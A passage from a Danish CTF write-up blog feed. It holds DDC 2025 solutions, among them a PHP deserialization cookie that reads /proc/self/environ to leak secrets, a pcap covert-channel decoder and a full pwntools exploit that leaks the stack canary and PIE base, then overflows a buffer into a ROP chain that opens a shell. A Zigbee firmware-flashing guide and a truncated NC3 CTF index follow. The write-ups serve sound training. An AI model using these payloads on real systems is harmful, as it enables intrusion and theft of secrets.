<p>Nu har vi adgang til siden, og kan se i source koden at der hintes til at vi skal hive flaget ud af environment variablen <code>FLAG</code>. Vi kan bruge logging classen til at læse fra en fil, her kan vi bruge <code>/proc/self/environ</code> til at læse alle environment variabler.</p>
<p>Vi kan bruge <code>urlencode(base64_encode((serialize(new permissions(new logging(&quot;/proc/self/environ&quot;))))));</code> til at lave vores cookie, som ser sådan ud: <code>TzoxMToicGVybWlzc2lvbnMiOjI6e3M6ODoidXNlcm5hbWUiO086NzoibG9nZ2luZyI6MTp7czo4OiJsb2dfZmlsZSI7czoxODoiL3Byb2Mvc2VsZi9lbnZpcm9uIjt9czo1OiJhZG1pbiI7YjoxO30%3D</code> eller decoded: <code>O:11:&quot;permissions&quot;:2:{s:8:&quot;username&quot;;O:7:&quot;logging&quot;:1:{s:8:&quot;log_file&quot;;s:18:&quot;/proc/self/environ&quot;;}s:5:&quot;admin&quot;;b:1;}</code>.</p>
<p>Dette giver os beskeden:</p>
<pre tabindex="0"><code>Velkommen til VIP-lounge, HOSTNAME=4f97a06c471fPHP_VERSION=7.4.33APACHE_CONFDIR=/etc/apache2PHP_INI_DIR=/usr/local/etc/phpGPG_KEYS=42670A7FE4D0441C8E4632349E4FDC074A4EF02D 5A52880781F755608BF815FC910DEB46F53EA312PHP_LDFLAGS=-Wl,-O1 -piePWD=/tmpAPACHE_LOG_DIR=/var/log/apache2LANG=CPHP_SHA256=924846abf93bc613815c55dd3f5809377813ac62a9ec4eb3778675b82a27b927FLAG=DDC{m4ske_et_st0rre_budg3t_v1l_kunn3_st0ppe_PHP}APACHE_PID_FILE=/var/run/apache2/apache2.pidPHPIZE_DEPS=autoconf dpkg-dev file g++ gcc libc-dev make pkg-config re2cPHP_URL=https://www.php.net/distributions/php-7.4.33.tar.xzAPACHE_RUN_GROUP=www-dataAPACHE_LOCK_DIR=/var/lock/apache2SHLVL=0PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64APACHE_RUN_DIR=/var/run/apache2APACHE_ENVVARS=/etc/apache2/envvarsAPACHE_RUN_USER=www-dataPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binPHP_ASC_URL=https://www.php.net/distributions/php-7.4.33.tar.xz.ascPHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64.
Din ankomst er blevet registreret i vores log system. Hav en fortsat god dag
</code></pre><p>I beskeden finder vi flaget.</p>
<p>Flag: <code>DDC{m4ske_et_st0rre_budg3t_v1l_kunn3_st0ppe_PHP}</code></p>
<hr>
<h3 id="covertchannel2">covertchannel2</h3>
<p>A covert channel should be in this pcap.</p>
<p><a href="/ddc_qual_2025/forensics/cc2.pcap">Handout (cc2.pcap)</a></p>
<p><strong>Løsning:</strong> Vi åbner pcap-filen med Wireshark og anvender filteret <code>tcp.urgent_pointer &gt; 0</code> for at finde de relevante pakker. Her bemærker vi, at de første 44 pakker har en Urgent Pointer-værdi over 1000, mens alle andre er 0. Hvis vi kigger på de første tre pakker, ser vi værdierne 1088, 1088 og 1072, hvilket kunne svare til <code>DDC</code>, da 1088 fremgår to gange lige efter hinanden.</p>
<p>Ser vi videre på de følgende pakker kan man se et mønster: Hvis vi dividerer alle urgent pointer-værdierne med 16, får vi ASCII-værdierne for start-bogstaverne i flaget.</p>
<p>For eksempel:</p>
<ul>
<li><code>1088 / 16 = 68 (D)</code></li>
<li><code>1088 / 16 = 68 (D)</code></li>
<li><code>1072 / 16 = 67 (C)</code></li>
<li><code>1968 / 16 = 123 ({)</code></li>
</ul>
<p>Ved at fortsætte denne metode på alle de 44 pakker får vi flaget.</p>
<p>Her er solve script til opgaven:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">pyshark</span>
</span></span><span class="line"><span class="cl"><span class="n">cap</span> <span class="o">=</span> <span class="n">pyshark</span><span class="o">.</span><span class="n">FileCapture</span><span class="p">(</span><span class="s1">&#39;cc2.pcap&#39;</span><span class="p">,</span> <span class="n">display_filter</span><span class="o">=</span><span class="s1">&#39;ip.src == 192.168.120.179&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">urgent_pointers</span> <span class="o">=</span> <span class="p">[</span><span class="nb">int</span><span class="p">(</span><span class="n">packet</span><span class="o">.</span><span class="n">tcp</span><span class="o">.</span><span class="n">urgent_pointer</span><span class="p">)</span> 
</span></span><span class="line"><span class="cl">                  <span class="k">for</span> <span class="n">packet</span> <span class="ow">in</span> <span class="n">cap</span> 
</span></span><span class="line"><span class="cl">                  <span class="k">if</span> <span class="nb">hasattr</span><span class="p">(</span><span class="n">packet</span><span class="p">,</span> <span class="s1">&#39;tcp&#39;</span><span class="p">)</span> <span class="ow">and</span> <span class="nb">hasattr</span><span class="p">(</span><span class="n">packet</span><span class="o">.</span><span class="n">tcp</span><span class="p">,</span> <span class="s1">&#39;urgent_pointer&#39;</span><span class="p">)]</span>
</span></span><span class="line"><span class="cl"><span class="n">cap</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">urgent_pointers</span> <span class="o">=</span> <span class="p">[</span><span class="nb">chr</span><span class="p">(</span><span class="nb">round</span><span class="p">(</span><span class="n">x</span> <span class="o">/</span> <span class="mi">16</span><span class="p">))</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">urgent_pointers</span> <span class="k">if</span> <span class="n">x</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s1">&#39;&#39;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">urgent_pointers</span><span class="p">))</span>
</span></span></code></pre></div><p>Eller en sej one-liner:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">python3 -c <span class="s2">&#34;import pyshark;print(&#39;&#39;.join([chr(round(x / 16)) for x in [int(packet.tcp.urgent_pointer) for packet in pyshark.FileCapture(&#39;cc2.pcap&#39;, display_filter=&#39;ip.src == 192.168.120.179&#39;) if hasattr(packet, &#39;tcp&#39;) and hasattr(packet.tcp, &#39;urgent_pointer&#39;)] if x != 0]))&#34;</span>
</span></span></code></pre></div><p>Flag: <code>DDC{off_by_four_to_hide_from_nosy_hackers}</code></p>
<hr>
<h3 id="pwn-me-good-uwu---wifu-edition">PWN me good uwu - Wifu Edition</h3>
<p>OwO~ Part 2 is here, and it&rsquo;s even spicier! This time, our wifu binary zerochain2 is hiding behwiiind a stwong stack canawy and sneaky memowy wandomization~ &gt;w&lt; But dwon&rsquo;t wowwy, we got dis!</p>
<p>Defeat the defenses, bypass the canawy, and uwrap the fwag wike a pwesent fow wifu~ 💖 OwO.</p>
<p><a href="/ddc_qual_2025/binary/Binary_PWN_me_good_uwu_-_Wifu_Edition.zip">Handout (PWN_me_good_uwu_-_Wifu_Edition.zip)</a></p>
<p><strong>Løsning:</strong> I opgave beskrivelsen bliver det beskrevet at vi skal &ldquo;defeat the defenses and bypass the stack canaries&rdquo;. Ved at bruge <code>checksec zerochain2</code> kan vi se at der er stack canaries, PIE og NX. <em>Vi bruger <a href="https://dogbolt.org/">https://dogbolt.org/</a> til at decompile binaryen og GDB til at debugge.</em> For at leake stack canaryen kan vi bruge en format string vulnerability. Her kan vi bruge <code>%23$p</code>:</p>
<pre tabindex="0"><code>[ Zerochain ]
1. Add Note
2. Delete Note
3. View Note
4. Vulnerable Log
5. Exit
Your choice: 4
Enter log message: %23$p
0xa4cc00aaa8810f00
</code></pre><p>Den sidste byte (<code>00</code>) bekræfter, at det er en stack canary.</p>
<p>Da <strong>PIE</strong> er aktiveret, skal vi leake en kodeadresse for at beregne adressen. Vi bruger <code>%31$p</code> til at leake en pointer til <code>main()</code>, da position 31 i format stringen indeholder en pointer til main+0:</p>
<pre tabindex="0"><code>Your choice: 4  
Enter log message: %31$p  
0x59b5b2a7d6f3  
</code></pre><p>Vi ved fra reverse engineering, at <code>main</code> er ved offset <code>0x6f3</code>, forskellen mellem main og hidden_shell er 0x3d bytes (main - hidden_shell), så vi beregner adressen:</p>
<pre tabindex="0"><code>hidden_shell_addr = 0x59b5b2a7d6f3 - 0x3d
</code></pre><p>Fordi vi springer direkte til <code>hidden_shell</code>, kan stack alignment være forkert.
I x64 kræver <code>system()</code> 16-byte stack-alignment, så hvis vi returnerer direkte til <code>hidden_shell</code>, kan stacken blive forkert alignet, men en <code>ret</code> før hoppet til <code>hidden_shell</code> løser dette, og vi kan bruge <code>ret</code> ved offset +60 i <code>hidden_shell</code>.</p>
<pre tabindex="0"><code>ret_gadget = hidden_shell_addr + 60
</code></pre><p>Fra den dekompilerede kode ved vi, at bufferen er <strong>136 bytes</strong>, efterfulgt af en 8-byte canary, 8-byte gemt RBP og 8-byte returadresse.</p>
<p>Nu mangler vi kun at lave en ROP chain til at hoppe til <code>hidden_shell</code>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl"><span class="c1">#p = process(&#39;./zerochain2&#39;) # Local testing</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s1">&#39;uwu-wifu.hkn&#39;</span><span class="p">,</span> <span class="mi">6969</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Leak canary</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Your choice: &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;4&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Enter log message: &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;%23$p&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">canary</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">strip</span><span class="p">(),</span> <span class="mi">16</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Leak code for PIE (Position Independent Executable) bypass</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Your choice: &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;4&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Enter log message: &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;%31$p&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">code_addr</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">strip</span><span class="p">(),</span> <span class="mi">16</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Calculate hidden_shell address</span>
</span></span><span class="line"><span class="cl"><span class="n">hidden_shell_addr</span> <span class="o">=</span> <span class="n">code_addr</span> <span class="o">-</span> <span class="mh">0x3d</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Find Ret gadget for stack alignment</span>
</span></span><span class="line"><span class="cl"><span class="n">ret_gadget</span> <span class="o">=</span> <span class="n">hidden_shell_addr</span> <span class="o">+</span> <span class="mi">60</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Create buffer overflow payload &amp; ROP chain with proper stack alignment</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">&#39;A&#39;</span> <span class="o">*</span> <span class="mi">136</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">canary</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">ret_gadget</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">hidden_shell_addr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Send the payloaD</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Your choice: &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;4&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Enter log message: &#34;</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Give time to execute ROP chain</span>
</span></span><span class="line"><span class="cl"><span class="n">sleep</span><span class="p">(</span><span class="mf">0.5</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># SHell</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</span></span></code></pre></div><p>Svar fra serveren:</p>
<pre tabindex="0"><code>[+] Opening connection to uwu-wifu.hkn on port 6969: Done
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$                                                              l                                                                                                   ls                                                                                                  ls
challenge
flag
$ cat flag
DDC{Pwn_1s_L0v3_W41fu_1s_L1f3}$  
</code></pre><p>Flag: <code>DDC{Pwn_1s_L0v3_W41fu_1s_L1f3}</code></p>
]]></content></item><item><title>How to flash a Zigbee 3.0 USB Dongle Plus + upgrade to ember firmware</title><link>https://ha1fdan.xyz/en/posts/sonoff_zigbee_dongle_flash/</link><pubDate>Thu, 26 Dec 2024 17:26:14 +0100</pubDate><guid>https://ha1fdan.xyz/en/posts/sonoff_zigbee_dongle_flash/</guid><description>&lt;h2 id="requirements"&gt;Requirements&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;A Sonoff Zigbee 3.0 USB Dongle Plus&lt;/li&gt;
&lt;li&gt;A PC (Preferably with Linux)&lt;/li&gt;
&lt;li&gt;Python 3.10 or higher&lt;/li&gt;
&lt;li&gt;Pip 22.0 or higher&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="pre-flash-steps"&gt;Pre-flash Steps&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Install the &lt;a href="https://github.com/ha1fdan/universal-silabs-flasher"&gt;Universal Silicon Labs Flasher&lt;/a&gt; using pip: &lt;code&gt;pip install universal-silabs-flasher&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Insert the dongle into the computer&amp;rsquo;s USB port.&lt;/li&gt;
&lt;li&gt;Check what usb device is connected to the computer: &lt;code&gt;lsusb&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h3 id="flashing---coordinator-mode"&gt;Flashing - Coordinator Mode&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Recently, Zigbee2MQTT announced that the ezsp driver that powered these coordinators is deprecated and obsolete, being replaced with the new ember version. (Remember to update your Zigbee2MQTT configuration, from &lt;code&gt;adapter: ezsp&lt;/code&gt; to &lt;code&gt;adapter: ember&lt;/code&gt;)&lt;/strong&gt;&lt;/p&gt;</description><content type="html"><![CDATA[<h2 id="requirements">Requirements</h2>
<ul>
<li>A Sonoff Zigbee 3.0 USB Dongle Plus</li>
<li>A PC (Preferably with Linux)</li>
<li>Python 3.10 or higher</li>
<li>Pip 22.0 or higher</li>
</ul>
<h2 id="pre-flash-steps">Pre-flash Steps</h2>
<ol>
<li>Install the <a href="https://github.com/ha1fdan/universal-silabs-flasher">Universal Silicon Labs Flasher</a> using pip: <code>pip install universal-silabs-flasher</code></li>
<li>Insert the dongle into the computer&rsquo;s USB port.</li>
<li>Check what usb device is connected to the computer: <code>lsusb</code></li>
</ol>
<hr>
<h3 id="flashing---coordinator-mode">Flashing - Coordinator Mode</h3>
<p><strong>Recently, Zigbee2MQTT announced that the ezsp driver that powered these coordinators is deprecated and obsolete, being replaced with the new ember version. (Remember to update your Zigbee2MQTT configuration, from <code>adapter: ezsp</code> to <code>adapter: ember</code>)</strong></p>
<ol>
<li>
<p>Download the latest firmware: <a href="https://github.com/darkxst/silabs-firmware-builder/tree/main/firmware_builds/zbdonglee">https://github.com/darkxst/silabs-firmware-builder/tree/main/firmware_builds/zbdonglee</a> (115200 baud)</p>
</li>
<li>
<p>Use the flasher script to flash the firmware: <code>universal-silabs-flasher --device /dev/ttyUSB0 --bootloader-reset sonoff flash --firmware ~/Downloads/ncp-uart-hw-v7.4.5.0-zbdonglee-115200.gbl --force</code></p>
</li>
</ol>
<p><strong>Replace <code>/dev/ttyUSB0</code> with the correct device name. This might be something like <code>ttyUSB0</code> or <code>ttyACM0</code>.</strong></p>
<hr>
<h3 id="flashing---router-mode">Flashing - Router Mode</h3>
<ol>
<li>
<p>Download the desired firmware for your device: <a href="https://github.com/ha1fdan/Sonoff_Zigbee_Dongle_Firmware/tree/master/Dongle-E">https://github.com/ha1fdan/Sonoff_Zigbee_Dongle_Firmware/tree/master/Dongle-E</a></p>
</li>
<li>
<p>Use the flasher script to flash the firmware: <code>universal-silabs-flasher --device /dev/ttyUSB0 --bootloader-reset sonoff flash --firmware ~/Downloads/Z3RouterUSBDonlge_EZNet6.10.3_V1.0.0.gbl --force</code></p>
</li>
</ol>
<p><strong>Replace <code>/dev/ttyUSB0</code> with the correct device name. This might be something like <code>ttyUSB0</code> or <code>ttyACM0</code>.</strong></p>
<hr>
<p><strong>Once the flashing is complete, you should see a output similar to this:</strong></p>
<pre tabindex="0"><code>2024-12-26 16:04:54.336 desktop universal_silabs_flasher.flash INFO Failed to read firmware metadata: {exc!r}
2024-12-26 16:04:54.336 desktop universal_silabs_flasher.flasher INFO Triggering sonoff bootloader
2024-12-26 16:04:54.941 desktop universal_silabs_flasher.flasher INFO Probing ApplicationType.GECKO_BOOTLOADER at 115200 baud
2024-12-26 16:04:55.055 desktop universal_silabs_flasher.flasher INFO Launched application from bootloader
2024-12-26 16:04:55.057 desktop universal_silabs_flasher.flasher INFO Detected bootloader version &#39;1.12.0&#39;
2024-12-26 16:04:55.057 desktop universal_silabs_flasher.flasher INFO Probing ApplicationType.CPC at 460800 baud
2024-12-26 16:04:59.376 desktop universal_silabs_flasher.flasher INFO Probing ApplicationType.CPC at 115200 baud
2024-12-26 16:05:03.702 desktop universal_silabs_flasher.flasher INFO Probing ApplicationType.CPC at 230400 baud
2024-12-26 16:05:08.026 desktop universal_silabs_flasher.flasher INFO Probing ApplicationType.EZSP at 115200 baud
2024-12-26 16:05:13.036 desktop universal_silabs_flasher.flasher INFO Probing ApplicationType.SPINEL at 460800 baud
2024-12-26 16:05:17.364 desktop universal_silabs_flasher.flasher INFO Probing ApplicationType.ROUTER at 115200 baud
2024-12-26 16:05:19.375 desktop universal_silabs_flasher.flasher INFO Triggering sonoff bootloader
2024-12-26 16:05:19.983 desktop universal_silabs_flasher.flasher WARNING Bootloader did not launch a valid application
2024-12-26 16:05:19.983 desktop universal_silabs_flasher.flasher INFO Detected ApplicationType.GECKO_BOOTLOADER, version &#39;1.12.0&#39; at 115200 baudrate (bootloader baudrate 115200)
ncp-uart-sw_EZNet6.10.3_V1.0.1.gbl  [####################################]  100%
</code></pre><hr>
<h2 id="not-working">Not working?</h2>
<p>If the <code>universal-silabs-flasher</code> script doesn&rsquo;t work, try using the <a href="https://darkxst.github.io/silabs-firmware-builder/">Silabs Firmware Flasher</a>, this page allows you to flash Silicon Labs EFR32MG21 based Zigbee dongles directly from your Chrome-based browser.</p>
]]></content></item><item><title>NC3 CTF 2024 : Writeups</title><link>https://ha1fdan.xyz/en/posts/nc3_ctf_2024/</link><pubDate>Mon, 16 Dec 2024 00:00:00 +0000</pubDate><guid>https://ha1fdan.xyz/en/posts/nc3_ctf_2024/</guid><description>&lt;h1 id="nc3-ctf-2024"&gt;NC3 CTF 2024&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;Team:&lt;/strong&gt; &lt;a href="https://nc3ctf.dk/teams/45"&gt;OUHohoho&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Total Score&lt;/strong&gt;: 2272 points @ 24th place&lt;/p&gt;
&lt;h2 id="løste-challenges"&gt;Løste challenges:&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Challenge&lt;/th&gt;
&lt;th&gt;Kategori&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#discord"&gt;Discord&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Kom godt i gang&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#regler"&gt;Regler&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Kom godt i gang&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#start-her"&gt;Start her!&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Kom godt i gang&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#nissesnak"&gt;Nissesnak&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Kom godt i gang&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#skoleudflugten"&gt;Skoleudflugten&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;OSINT&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#mere-kanel"&gt;Mere kanel!&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Kom godt i gang&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#julebrev"&gt;Julebrev&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Kom godt i gang&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#gammelnissen"&gt;Gammelnissen&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Crypto&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#kryptoplikation"&gt;Kryptoplikation&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Crypto&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#nisse_pension"&gt;Nisse-pension&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Reversing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#styrtet"&gt;Styrtet&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;OSINT&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#gnomernes-tegnestue"&gt;Gnomernes Tegnestue&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Kom godt i gang&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#julens-undergang"&gt;Julens Undergang&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Forensics&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#a-deep-secret"&gt;A Deep Secret&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Stego&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#nisseportalen-1"&gt;Nisseportalen #1&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Boot2root&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#julemandens-nskeliste"&gt;Julemandens Ønskeliste&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Kom godt i gang&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#gnomernes-h%C3%A6vn"&gt;Gnomernes Hævn&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Kom godt i gang&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#flimmer-p%C3%A5-fjernsynet"&gt;Flimmer På Fjernsynet&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Stego&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#postnordpolen-i"&gt;PostNordpolen I&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Crypto&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#regnskabsnisserne"&gt;Regnskabsnisserne&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Kom godt i gang&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#ondsindede-loginfors%C3%B8g"&gt;Ondsindede Loginforsøg&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Efterforskning: Det Store Nissehack&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#serverskjulet"&gt;Serverskjulet&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Efterforskning: Det Store Nissehack&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#postnordpolen-ii"&gt;PostNordpolen II&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Crypto&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#kodedepotets-hemmelighed"&gt;Kodedepotets Hemmelighed&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Efterforskning: Det Store Nissehack&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#alternativ-kodedeling"&gt;Alternativ Kodedeling&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Efterforskning: Det Store Nissehack&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#gerningsgnomens-afsl%C3%B8ring"&gt;Gerningsgnomens Afsløring&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Efterforskning: Det Store Nissehack&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#nisse-g%C3%A6ld"&gt;Nisse-gæld&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Pwn&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#skattekammeret-robotnisse"&gt;Skattekammeret - robotnisse&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Boot2root&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#skattekammeret-storenisse"&gt;Skattekammeret - storenisse&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Boot2root&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#gremlingram"&gt;GremlinGram&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Stego&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#nisseportalen-2"&gt;Nisseportalen #2&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Boot2root&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#gift-wrappinator-9001"&gt;Gift Wrappinator 9001&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Reversing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#raided"&gt;Raided&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Forensics&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="score-over-tid"&gt;Score over tid:&lt;/h2&gt;
&lt;p&gt;&lt;img src="https://ha1fdan.xyz/nc3_2024/Score_over_Time.png" alt="Score_over_Time.png"&gt;&lt;/p&gt;</description><content type="html"><![CDATA[<h1 id="nc3-ctf-2024">NC3 CTF 2024</h1>
<p><strong>Team:</strong> <a href="https://nc3ctf.dk/teams/45">OUHohoho</a></p>
<p><strong>Total Score</strong>: 2272 points @ 24th place</p>
<h2 id="løste-challenges">Løste challenges:</h2>
<table>
	<thead>
